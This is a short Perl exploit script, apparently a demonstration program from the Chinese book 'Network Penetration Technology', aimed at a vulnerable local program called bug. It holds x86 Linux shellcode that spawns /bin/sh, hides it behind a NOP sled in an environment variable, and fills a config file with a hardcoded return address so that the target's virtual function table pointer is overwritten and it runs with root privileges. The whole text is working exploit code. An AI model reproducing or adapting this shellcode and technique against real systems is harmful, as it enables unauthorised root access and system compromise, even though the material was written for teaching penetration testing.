#!/usr/bin/perl
# ex.pl
#
# 《網絡滲透技術》演示程序
# 作者：san, alert7, eyas, watercloud
#
# 用于攻擊bug.cpp，覆蓋虛函數指針表來執行shellcode，從而獲得root權限
#
%ENV={};
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80";
$SHELL.="j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";

$ENV{KKK}="\x90"x 128 . $SHELL;

open $f,">bug.conf" || die "open file bug.conf error.";

print $f "AA" , "\xff\xbf\x80\xff" x 100,"\n"; #ADDR: 0xbfffff80
close($f);

exec "./bug";
#EOF